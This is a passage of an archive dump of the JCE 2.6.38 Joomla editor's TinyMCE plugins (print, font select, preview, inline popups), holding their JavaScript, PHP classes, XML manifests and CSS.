!function(){tinymce.create("tinymce.plugins.Print",{init:function(a,b){a.addCommand("mcePrint",function(){a.getWin().print()}),a.addButton("print",{title:"print.desc",cmd:"mcePrint"})},getInfo:function(){return{longname:"Print",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/print",version:tinymce.majorVersion+"."+tinymce.minorVersion}}}),tinymce.PluginManager.add("print",tinymce.plugins.Print)}();editor/tiny_mce/plugins/fontselect/fontselect.xml000060400000001430150750527140016360 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="fontselect" core="1" editable="1">
    <name>WF_FONTSELECT_TITLE</name>
    <version>2.6.38</version>
    <creationDate>14-03-2019</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_FONTSELECT_DESC</description>
    <icon>fontselect</icon>
    <params group="standard">
        <param name="fonts" type="fonts" default="" label="WF_PARAM_FONTS" description="WF_PARAM_FONTS_DESC" />
    </params>
    <help></help>
    <languages></languages>
</install>editor/tiny_mce/plugins/fontselect/index.html000060400000000054150750527140015466 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/fontselect/editor_plugin.js000060400000003676150750527140016710 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var each=(tinymce.DOM,tinymce.dom.Event,tinymce.extend,tinymce.each);tinymce.util.Cookie,tinymce.explode;tinymce.create("tinymce.plugins.FontSelectPlugin",{fonts:"Andale Mono=andale mono,times;Arial=arial,helvetica,sans-serif;Arial Black=arial black,avant garde;Book Antiqua=book antiqua,palatino;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier;Georgia=georgia,palatino;Helvetica=helvetica;Impact=impact,chicago;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco;Times New Roman=times new roman,times;Trebuchet MS=trebuchet ms,geneva;Verdana=verdana,geneva;Webdings=webdings;Wingdings=wingdings,zapf dingbats",init:function(ed,url){this.editor=ed,ed.onNodeChange.add(function(ed,cm,n,collapsed,o){var fv,c=cm.get("fontselect");c&&n&&each(o.parents,function(n){if(n.style&&(fv=n.style.fontFamily||ed.dom.getStyle(n,"fontFamily"),fv=fv.replace(/[\"\']+/g,"").replace(/^([^,]+).*/,"$1").toLowerCase(),c.select(function(v){return v.replace(/^([^,]+).*/,"$1").toLowerCase()===fv}),fv))return!1})})},createControl:function(n,cf){this.editor;if("fontselect"===n)return this._createFontSelect()},_createFontSelect:function(){var c,self=this,ed=self.editor;return c=ed.controlManager.createListBox("fontselect",{title:"advanced.fontdefault",onselect:function(v){var cur=c.items[c.selectedIndex];return!v&&cur?void ed.execCommand("FontName",!1,cur.value):(ed.execCommand("FontName",!1,v),c.select(function(sv){return v==sv}),cur&&cur.value==v&&c.select(null),!1)}}),c&&each(ed.getParam("fontselect_fonts",self.fonts,"hash"),function(v,k){/\d/.test(v)&&(v="'"+v+"'"),c.add(ed.translate(k),v,{style:v.indexOf("dings")==-1?"font-family:"+v:""})}),c}}),tinymce.PluginManager.add("fontselect",tinymce.plugins.FontSelectPlugin)}();editor/tiny_mce/plugins/fontselect/classes/config.php000060400000005261150750527140017111 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFFontselectPluginConfig
{
    protected static $fonts = array('Andale Mono=andale mono,times', 'Arial=arial,helvetica,sans-serif', 'Arial Black=arial black,avant garde', 'Book Antiqua=book antiqua,palatino', 'Comic Sans MS=comic sans ms,sans-serif', 'Courier New=courier new,courier', 'Georgia=georgia,palatino', 'Helvetica=helvetica', 'Impact=impact,chicago', 'Symbol=symbol', 'Tahoma=tahoma,arial,helvetica,sans-serif', 'Terminal=terminal,monaco', 'Times New Roman=times new roman,times', 'Trebuchet MS=trebuchet ms,geneva', 'Verdana=verdana,geneva', 'Webdings=webdings', 'Wingdings=wingdings,zapf dingbats');

    public static function getConfig(&$settings)
    {
        $wf = WFEditor::getInstance();

        $settings['fontselect_fonts'] = self::getFonts();
    }

    /**
     * Get a list of editor font families.
     *
     * @return string font family list
     *
     * @param string $add    Font family to add
     * @param string $remove Font family to remove
     */
    protected static function getFonts()
    {
        $wf = WFEditor::getInstance();

        $fonts = $wf->getParam('fontselect.fonts');

        // get fonts using legacy parameters
        if (empty($fonts)) {
            $fonts = self::$fonts;

            $add = $wf->getParam('editor.theme_advanced_fonts_add');
            $remove = $wf->getParam('editor.theme_advanced_fonts_remove');

            if (empty($remove) && empty($add)) {
                return '';
            }

            $remove = preg_split('/[;,]+/', $remove);

            if (count($remove)) {
                foreach ($fonts as $key => $value) {
                    foreach ($remove as $gone) {
                        if ($gone && preg_match('/^'.$gone.'=/i', $value)) {
                            // Remove family
                            unset($fonts[$key]);
                        }
                    }
                }
            }
            foreach (explode(';', $add) as $new) {
                // Add new font family
                if (preg_match('/([^\=]+)(\=)([^\=]+)/', trim($new)) && !in_array($new, $fonts)) {
                    $fonts[] = $new;
                }
            }

            natcasesort($fonts);
            $fonts = implode(';', $fonts);
        }

        return $fonts;
    }
}
editor/tiny_mce/plugins/fontselect/classes/index.html000060400000000054150750527140017123 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/preview/index.html000060400000000054150750527140015001 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/preview/preview.php000060400000001074150750527140015201 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

require_once dirname(__FILE__).'/classes/preview.php';

$preview = new WFPreviewPlugin();
editor/tiny_mce/plugins/preview/preview.xml000060400000001647150750527140015220 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="preview" core="1" editable="1">
	<name>WF_PREVIEW_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_PREVIEW_DESC</description>
	<icon></icon>
	<params group="standard">
		<param name="process_content" type="radio" default="1" label="WF_PREVIEW_PARAM_PROCESS_CONTENT" description="WF_PREVIEW_PARAM_PROCESS_CONTENT_DESC">
				<option value="1">WF_OPTION_YES</option>
				<option value="0">WF_OPTION_NO</option>
		</param>
	</params>
	<help>
		<topic key="preview.about" title="WF_PREVIEW_HELP_ABOUT" />
	</help>
	<languages></languages>
</install>
editor/tiny_mce/plugins/preview/editor_plugin.js000060400000007054150750527140016215 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){function uid(){var i,guid=(new Date).getTime().toString(32);for(i=0;i<5;i++)guid+=Math.floor(65535*Math.random()).toString(32);return"wf_"+guid+(counter++).toString(32)}var DOM=tinymce.DOM,counter=(tinymce.dom.Event,0);tinymce.create("tinymce.plugins.PreviewPlugin",{init:function(ed,url){this.editor=ed;var self=this;ed.onInit.add(function(ed){var activeTab=sessionStorage.getItem("wf-editor-tabs-"+ed.id)||ed.settings.active_tab||"";"wf-editor-preview"===activeTab&&(ed.hide(),DOM.hide(ed.getElement()),self.toggle())})},hide:function(){DOM.hide(this.editor.id+"_editor_preview")},toggle:function(){function update(text){var doc=iframe.contentWindow.document,scripts=/<script[^>]+>[\s\S]*<\/script>/.exec(text);text=text.replace(/<script[^>]+>[\s\S]*<\/script>/gi,"");var html="<!DOCTYPE html>";html+='<head xmlns="http://www.w3.org/1999/xhtml">',html+='<base href="'+s.document_base_url+'" />',html+='<meta http-equiv="X-UA-Compatible" content="IE=7" />',html+='<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />';var css=[self.url+"/css/preview.css"];css=ed.settings.compress.css?[s.site_url+"index.php?option=com_jce&view=editor&task=pack&type=css&layout=preview&context="+s.context+"&"+s.token+"=1"]:tinymce.explode(ed.settings.content_css),tinymce.each(css,function(url){html+='<link href="'+url+'" rel="stylesheet" type="text/css" />'}),scripts&&tinymce.each(scripts,function(script){html+=""+script}),html+='</head><body style="margin:5px;">',html+=""+text,html+="</body></html>",doc.open(),doc.write(html),doc.close(),DOM.removeClass(container,"mce-loading")}var ed=this.editor,self=this,s=ed.settings,element=ed.getElement(),container=element.parentNode,header=DOM.getPrev(element,".wf-editor-header"),ifrHeight=parseInt(DOM.get(ed.id+"_ifr").style.height)||s.height,preview=DOM.get(ed.id+"_editor_preview"),iframe=DOM.get(ed.id+"_editor_preview_iframe"),o=tinymce.util.Cookie.getHash("TinyMCE_"+ed.id+"_size");if(o&&o.height&&(ifrHeight=o.height),!preview){var preview=DOM.add(container,"div",{role:"textbox",id:ed.id+"_editor_preview",class:"wf-editor-preview"});iframe=DOM.add(preview,"iframe",{frameborder:0,src:'javascript:""',id:ed.id+"_editor_preview_iframe"})}var height=ed.settings.container_height||sessionStorage.getItem("wf-editor-container-height")||ifrHeight;if(DOM.hasClass(container,"mce-fullscreen")){var vp=DOM.getViewPort();height=vp.h-header.offsetHeight}DOM.setStyle(preview,"height",height),DOM.setStyle(preview,"max-width","100%");var width=ed.settings.container_width||sessionStorage.getItem("wf-editor-container-width");width&&!DOM.hasClass(container,"mce-fullscreen")&&DOM.setStyle(preview,"max-width",width),DOM.show(preview);var query="",args={format:"raw"};args[ed.settings.token]=1,tinymce.extend(args,{data:ed.getContent(),id:uid()});for(k in args)query+="&"+k+"="+encodeURIComponent(args[k]);tinymce.util.XHR.send({url:s.site_url+"index.php?option=com_jce&view=editor&plugin=preview&context="+s.context+"&extension_id="+s.extension_id,data:"json="+JSON.stringify({method:"showPreview"})+"&"+query,content_type:"application/x-www-form-urlencoded",success:function(x){var o={};try{o=JSON.parse(x)}catch(e){o.error=/[{}]/.test(o)?"The server returned an invalid JSON response":x}r=o.result,x&&!o.error||(r=ed.getContent()),update(r)},error:function(e,x){update(ed.getContent())}})}}),tinymce.PluginManager.add("preview",tinymce.plugins.PreviewPlugin)}();editor/tiny_mce/plugins/preview/classes/config.php000060400000001227150750527140016422 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFPreviewPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFEditor::getInstance();
        $context = $wf->getContext();
        $settings['extension_id'] = $context;
    }
}
editor/tiny_mce/plugins/preview/classes/index.html000060400000000054150750527140016436 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/preview/classes/preview.php000060400000012346150750527140016642 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

// Load class dependencies
require_once WF_EDITOR_LIBRARIES . '/classes/plugin.php';

class WFPreviewPlugin extends WFEditorPlugin
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct();

        $request = WFRequest::getInstance();
        // Setup plugin XHR callback functions
        $request->setRequest(array($this, 'showPreview'));

        $this->execute();
    }

    /**
     * Display Preview content.
     */
    public function showPreview()
    {
        $db = JFactory::getDBO();
        $user = JFactory::getUser();
        $dispatcher = JDispatcher::getInstance();
        $language = JFactory::getLanguage();

        // reset document type
        $document = JFactory::getDocument();
        $document->setType('html');
        // required by module loadposition
        jimport('joomla.application.module.helper');
        // load paramter class
        jimport('joomla.html.parameter');

        wfimport('admin.helpers.extension');

        // get post data
        $data = JRequest::getVar('data', '', 'POST', 'STRING', JREQUEST_ALLOWRAW);

        // cleanup data
        $data = preg_replace(array('#<!DOCTYPE([^>]+)>#i', '#<(head|title|meta)([^>]*)>([\w\W]+)<\/1>#i', '#<\/?(html|body)([^>]*)>#i'), '', rawurldecode($data));

        $extension_id = JRequest::getInt('extension_id');
        $extension = WFExtensionHelper::getComponent($extension_id);

        // create params registry object
        $params = new JRegistry();

        // create empty params string
        if (!isset($extension->params)) {
            $extension->params = '';
        }

        // process attribs (com_content etc.)
        if ($extension->attribs) {
            $params->loadString($extension->attribs);
        } else {
            if (class_exists('JParameter')) {
                $params = new JParameter($extension->params);
            } else {
                $params->loadString($extension->params);
            }
        }

        $article = JTable::getInstance('content');

        $article->id = 0;
        $article->created_by = $user->get('id');
        $article->parameters = new JRegistry();
        $article->text = $data;

        // allow this to be skipped as some plugins can cause FATAL errors.
        if ((bool) $this->getParam('process_content', 1)) {
            $limitstart = 0;
            JPluginHelper::importPlugin('content');

            require_once JPATH_SITE . '/components/com_content/helpers/route.php';

            // set error reporting off to produce empty string on Fatal error
            error_reporting(0);

            $dispatcher->trigger('onPrepareContent', array(&$article, &$params, $limitstart));
        }

        $this->processURLS($article);

        return $article->text;
    }

    /**
     * Convert URLs.
     *
     * @param object $article Article object
     */
    private function processURLS(&$article)
    {
        $base = JURI::root(true) . '/';
        $buffer = $article->text;

        $protocols = '[a-zA-Z0-9]+:'; //To check for all unknown protocals (a protocol must contain at least one alpahnumeric fillowed by :
        $regex = '#(src|href|poster)="(?!/|' . $protocols . '|\#|\')([^"]*)"#m';
        $buffer = preg_replace($regex, "$1=\"$base\$2\"", $buffer);
        $regex = '#(onclick="window.open\(\')(?!/|' . $protocols . '|\#)([^/]+[^\']*?\')#m';
        $buffer = preg_replace($regex, '$1' . $base . '$2', $buffer);

        // ONMOUSEOVER / ONMOUSEOUT
        $regex = '#(onmouseover|onmouseout)="this.src=([\']+)(?!/|' . $protocols . '|\#|\')([^"]+)"#m';
        $buffer = preg_replace($regex, '$1="this.src=$2' . $base . '$3$4"', $buffer);

        // Background image
        $regex = '#style\s*=\s*[\'\"](.*):\s*url\s*\([\'\"]?(?!/|' . $protocols . '|\#)([^\)\'\"]+)[\'\"]?\)#m';
        $buffer = preg_replace($regex, 'style="$1: url(\'' . $base . '$2$3\')', $buffer);

        // OBJECT <param name="xx", value="yy"> -- fix it only inside the <param> tag
        $regex = '#(<param\s+)name\s*=\s*"(movie|src|url)"[^>]\s*value\s*=\s*"(?!/|' . $protocols . '|\#|\')([^"]*)"#m';
        $buffer = preg_replace($regex, '$1name="$2" value="' . $base . '$3"', $buffer);

        // OBJECT <param value="xx", name="yy"> -- fix it only inside the <param> tag
        $regex = '#(<param\s+[^>]*)value\s*=\s*"(?!/|' . $protocols . '|\#|\')([^"]*)"\s*name\s*=\s*"(movie|src|url)"#m';
        $buffer = preg_replace($regex, '<param value="' . $base . '$2" name="$3"', $buffer);

        // OBJECT data="xx" attribute -- fix it only in the object tag
        $regex = '#(<object\s+[^>]*)data\s*=\s*"(?!/|' . $protocols . '|\#|\')([^"]*)"#m';
        $buffer = preg_replace($regex, '$1data="' . $base . '$2"$3', $buffer);

        $article->text = $buffer;
    }
}
editor/tiny_mce/plugins/preview/css/preview.css000060400000000250150750527140015765 0ustar00body,html{height:100%}body{background:#FFF;margin:5px;color:#000;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:10px;min-width:99%;width:auto;overflow-y:auto}editor/tiny_mce/plugins/preview/css/index.html000060400000000054150750527140015571 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/inlinepopups/index.html000060400000000054150750527140016045 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/inlinepopups/classes/index.html000060400000000054150750527140017502 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/inlinepopups/classes/config.php000060400000001463150750527140017470 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFInlinepopupsPluginConfig
{
    public static function getStyles()
    {
        $wf = WFEditor::getInstance();
        // only required if we're packing css
        if ($wf->getParam('editor.compress_css', 1)) {
            // add ui theme css file
            return array(
                dirname(dirname(__FILE__)).'/css/dialog.css',
            );
        }
    }
}
editor/tiny_mce/plugins/inlinepopups/editor_plugin.js000060400000016025150750527140017257 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){function ucfirst(s){return s.substring(0,1).toUpperCase()+s.substring(1)}function updateWithTouchData(e){var keys,i;if(e.changedTouches)for(keys="screenX screenY pageX pageY clientX clientY".split(" "),i=0;i<keys.length;i++)e[keys[i]]=e.changedTouches[0][keys[i]]}var DOM=tinymce.DOM,Event=(tinymce.dom.Element,tinymce.dom.Event),each=tinymce.each;tinymce.is;tinymce.create("tinymce.plugins.InlinePopups",{init:function(ed,url){ed.onBeforeRenderUI.add(function(){ed.windowManager=new tinymce.InlineWindowManager(ed),ed.settings.compress.css||DOM.loadCSS(url+"/css/window.css")})}}),tinymce.create("tinymce.InlineWindowManager:tinymce.WindowManager",{InlineWindowManager:function(ed){var self=this;self.parent(ed),self.zIndex=300002,self.count=0,self.windows={}},open:function(f,p){var id,vp,mdf,clf,rsf,w,u,self=this,ed=self.editor,dw=0,dh=0;if(f=f||{},p=p||{},!f.inline)return self.parent(f,p);f.type||(self.bookmark=ed.selection.getBookmark(1)),id=DOM.uniqueId("mce_inlinepopups_"),vp=DOM.getViewPort(),f.width=parseInt(f.width||0),f.height=parseInt(f.height||0)+(tinymce.isIE?8:0),p.mce_inline=!0,p.mce_window_id=id,f.popup_css=!1,self.features=f,self.params=p,f.translate_i18n=!1,self.onOpen.dispatch(self,f,p);var html='<div class="mceModalBody" id="'+id+'">   <div class="mceModalContainer">       <div class="mceModalHeader mceModalMove" id="'+id+'_header">           <button class="mceModalClose" type="button"></button>           <h3 class="mceModalTitle" id="'+id+'_title">'+(f.title||"")+'</h3>       </div>       <div class="mceModalContent" id="'+id+'_content"></div>   </div>   </div>',modal=DOM.select(".mceModal");if(modal.length||(modal=DOM.add(DOM.doc.body,"div",{class:"mceModal",role:"dialog"},""),f.overlay!==!1&&DOM.add(modal,"div",{class:"mceModalOverlay"})),DOM.add(modal,"div",{class:"mceModalFrame",id:id+"_frame"},html),u=f.url||f.file,u&&(tinymce.relaxedDomain&&(u+=(u.indexOf("?")==-1?"?":"&")+"mce_rdomain="+tinymce.relaxedDomain),u=tinymce._addVer(u)),f.type)DOM.setHTML(id+"_title",""),DOM.addClass(id,"mceModal"+ucfirst(f.type)),DOM.add(DOM.select(".mceModalContainer",id),"div",{class:"mceModalFooter",id:id+"_footer"}),DOM.add(id+"_footer","button",{id:id+"_ok",class:"mceButton mceOk",type:"button"},"confirm"==f.type?"Yes":"Ok"),"confirm"==f.type&&DOM.add(id+"_footer","button",{type:"button",class:"mceButton mceCancel"},"No"),DOM.setHTML(id+"_content","<div>"+f.content.replace("\n","<br />")+"</div>"),Event.add(id,"keyup",function(evt){if(27===evt.keyCode)return f.button_func(!1),Event.cancel(evt)}),Event.add(id,"keydown",function(evt){if(9===evt.keyCode){var cancelButton=DOM.select(".mceCancel",id+"_footer")[0];return cancelButton&&cancelButton!==evt.target?cancelButton.focus():DOM.get(id+"_ok").focus(),Event.cancel(evt)}});else{DOM.addClass(id,"mceLoading");var iframe=DOM.add(id+"_content","iframe",{id:id+"_ifr",src:'javascript:""',frameBorder:0});try{}catch(e){}DOM.setAttrib(iframe,"src",u),Event.add(iframe,"load",function(){DOM.removeClass(id,"mceLoading")})}return f.type||(dh+=DOM.get(id+"_header").clientHeight),f.size?DOM.addClass(id,f.size):(f.width&&DOM.setStyle(id,"width",f.width+dw),f.height&&DOM.setStyle(id,"height",f.height+dh)),rsf=Event.add(DOM.win,"resize orientationchange",function(){DOM.get(id)&&self.position(id)}),mdf=Event.add(id,"mousedown",function(e){var w,n=e.target;if(w=self.windows[id],self.focus(id),"BUTTON"==n.nodeName){if(DOM.hasClass(n,"mceModalClose"))return self.close(null,id),Event.cancel(e)}else if(DOM.hasClass(n,"mceModalMove")||DOM.hasClass(n.parentNode,"mceModalMove"))return self._startDrag(id,e,"Move")}),clf=Event.add(id,"click",function(e){var n=e.target;if(self.focus(id),"BUTTON"==n.nodeName)return DOM.hasClass(n,"mceModalClose")&&self.close(null,id),DOM.hasClass(n,"mceButton")&&f.button_func(DOM.hasClass(n,"mceOk")),Event.cancel(e)}),w=self.windows[id]={id:id,mousedown_func:mdf,click_func:clf,resize_func:rsf,features:f,deltaWidth:dw,deltaHeight:dh},DOM.setAttrib(id,"aria-hidden","false"),this.position(id),self.focus(id),DOM.get(id+"_ok")&&DOM.get(id+"_ok").focus(),self.count++,w},position:function(id){var p=DOM.getRect(id),vp=DOM.getViewPort(),top=Math.round(Math.max(vp.y+10,vp.y+vp.h/2-p.h/2)),left=Math.round(Math.max(vp.x+10,vp.x+vp.w/2-p.w/2));DOM.setStyles(id,{left:left,top:top})},focus:function(id){var w,self=this;(w=self.windows[id])&&(w.zIndex=this.zIndex++,DOM.setStyle(id,"zIndex",w.zIndex),DOM.removeClass(self.lastId,"mceFocus"),DOM.addClass(id+"_frame","mceFocus"),self.lastId=id+"_frame",w.focussedElement?w.focussedElement.focus():DOM.get(id+"_ok")?DOM.get(w.id+"_ok").focus():DOM.get(w.id+"_ifr")&&DOM.get(w.id+"_ifr").focus())},_startDrag:function(id,se,ac){function end(){Event.remove(d,"mouseup touchend",mu),Event.remove(d,"mousemove touchmove",mm),DOM.removeClass(id,"dragging")}var mu,mm,sx,sy,cp,self=this,d=DOM.doc;self.windows[id];return DOM.hasClass(id,"dragging")?(end(),Event.cancel(se)):(updateWithTouchData(se),p=DOM.getRect(id),vp=DOM.getViewPort(),cp={x:0,y:0},vp.w-=2,vp.h-=2,DOM.addClass(id,"dragging"),sx=se.screenX,sy=se.screenY,mu=Event.add(d,"mouseup touchend",function(e){return updateWithTouchData(e),end(),Event.cancel(e)}),mm=Event.add(d,"mousemove touchmove",function(e){var x,y;return updateWithTouchData(e),x=e.screenX-sx,y=e.screenY-sy,dx=Math.max(p.x+x,10),dy=Math.max(p.y+y,10),DOM.setStyles(id,{left:dx,top:dy}),Event.cancel(e)}),Event.cancel(se))},close:function(win,id){var w,id,self=this,d=DOM.doc;return id=self._findId(id||win),self.windows[id]?(self.count--,0===self.count&&(DOM.remove(DOM.select(".mceModal")),DOM.setAttrib(DOM.doc.body,"aria-hidden","false"),self.editor.focus()),void((w=self.windows[id])&&(self.onClose.dispatch(self),Event.remove(d,"mousedown",w.mousedown_func),Event.remove(d,"click",w.click_func),Event.remove(win,"resize orientationchange",w.resize_func),Event.clear(id),Event.clear(id+"_ifr"),DOM.setAttrib(id+"_ifr","src",'javascript:""'),DOM.remove(id+"_frame"),DOM.remove(id),delete self.windows[id]))):void self.parent(win)},_frontWindow:function(){var fw,ix=0;return each(this.windows,function(w){w.zIndex>ix&&(fw=w,ix=w.zIndex)}),fw},setTitle:function(w,ti){var e;w=this._findId(w),(e=DOM.get(w+"_title"))&&(e.innerHTML||(e.innerHTML=DOM.encode(ti)))},alert:function(txt,cb,s){var w,self=this;w=self.open({title:self,type:"alert",button_func:function(s){cb&&cb.call(s||self,s),self.close(null,w.id)},content:DOM.encode(self.editor.getLang(txt,txt)),inline:1})},confirm:function(txt,cb,s){var w,self=this;w=self.open({title:self,type:"confirm",button_func:function(s){cb&&cb.call(s||self,s),self.close(null,w.id)},content:DOM.encode(self.editor.getLang(txt,txt)),inline:1})},resizeBy:function(dw,dh,id){this.windows[id]},_findId:function(w){var self=this;return"string"==typeof w?w:(each(self.windows,function(wo){var ifr=DOM.get(wo.id+"_ifr");if(ifr&&w==ifr.contentWindow)return w=wo.id,!1}),w)}}),tinymce.PluginManager.add("inlinepopups",tinymce.plugins.InlinePopups)}();editor/tiny_mce/plugins/inlinepopups/inlinepopups.xml000060400000001204150750527140017315 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<install version="2.0" type="plugin" plugin="inlinepopups" core="1" editable="0">
  <name>WF_INLINEPOPUPS_TITLE</name>
  <version>2.6.38</version>
  <creationDate>14-03-2019</creationDate>
  <author>Ryan Demmer</author>
  <authorEmail>info@joomlacontenteditor.net</authorEmail>
  <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
  <copyright>Ryan Demmer</copyright>
  <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
  <description>WF_INLINEPOPUPS_DESC</description>
  <icon></icon>
  <params></params>
  <help></help>
  <languages></languages>
</install>editor/tiny_mce/plugins/inlinepopups/css/window.css000060400000010773150750527140016672 0ustar00.mceModal,.mceModal *{left:0;top:0;margin:0;padding:0;border:0;outline:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:12px;background:0 0;position:relative;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:baseline;text-align:left;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;box-sizing:content-box}.mceModal{position:absolute;z-index:300000;width:100%;height:100%}.mceModalOverlay{position:fixed;cursor:pointer;background-color:#000;width:100%;height:100%;opacity:.8;-ms-filter:'alpha(opacity=80)';filter:alpha(opacity=80);z-index:300001}.mceModalFrame{box-sizing:border-box;height:100%;left:0;position:absolute;text-align:center;top:0;width:100%;padding:10px}.mceModalFrame:after{content:"";display:inline-block;height:100%;vertical-align:middle}.mceLoading .mceModalContent{background:url(../../../themes/advanced/skins/default/img/progress.gif) center 45% no-repeat #fff}.mceModalHeader{padding:10px 30px 10px 15px;background-color:#ddd;border-bottom:1px solid #bbb;min-height:20px}.mceModalHeader h3{font-size:18px;line-height:20px;font-weight:700;pointer-events:none}.mceModalMove{cursor:move}.mceModalContent{background:#fff;border-radius:0 0 3px 3px;position:relative;height:94%;height:calc(100% - 41px)}.mceModalAlert .mceModalContent,.mceModalConfirm .mceModalContent{height:46%;height:calc(100% - 90px)}.mceModalFooter{margin:-3px 0 0;padding:10px;border-top:1px solid #e5e5e5;border-radius:0 0 3px 3px;background:#fafafa;text-align:center}.mceModalBody{cursor:default;display:block;margin:0 auto;position:absolute;text-align:left;width:100%;max-width:1024px;min-width:160px}.mceModalContainer{overflow:hidden;max-width:100%;height:100%;line-height:0;border-radius:3px;border:1px solid #c8c8c8;box-shadow:0 0 5px rgba(0,0,0,.5)}.mceModalClose{float:none;left:auto;position:absolute;right:15px;top:10px;width:auto;height:auto}.mceModalClose:hover{background:0 0;border:0}.mceModalClose:after{color:#444;display:block;font-family:Arial,sans-serif;font-size:24px;font-weight:700;line-height:24px;margin:0 0 0 1px;text-align:center;text-decoration:none;content:"\00d7"}.mceModalClose:hover:after{color:#888}.mceModalContent>div{height:auto;padding:20px 10px;text-align:center;line-height:14px}.mceModalContent iframe{min-height:inherit;border:0;top:0;left:0;width:100%;height:100%;position:absolute}.mceModalPlaceHolder{border:1px solid #000;background:#888;top:0;left:0;opacity:.5;-ms-filter:'alpha(opacity=50)';filter:alpha(opacity=50)}.mceModal .mceButton{font-weight:700;bottom:10px;width:80px;height:30px;line-height:30px;vertical-align:middle;text-align:center;outline:0;background:#f5f5f5;border-radius:3px;color:#333;text-decoration:none;cursor:pointer;display:inline-block;border:1px solid #E6E6E6;margin:0 5px}.mceModal .mceButton:focus,.mceModal .mceButton:hover{background-color:#fafafa;color:#444;outline:0;text-decoration:none;border-color:#CDCDCD}.mceModalAlert,.mceModalConfirm{min-height:160px}[class*=mce-modal-landscape-] .mceModalContent{padding-bottom:48%;padding-bottom:calc(56.25% - 61px);height:0}[class*=mce-modal-portrait-] .mceModalContent{padding-bottom:117.45%;padding-bottom:calc(133.33% - 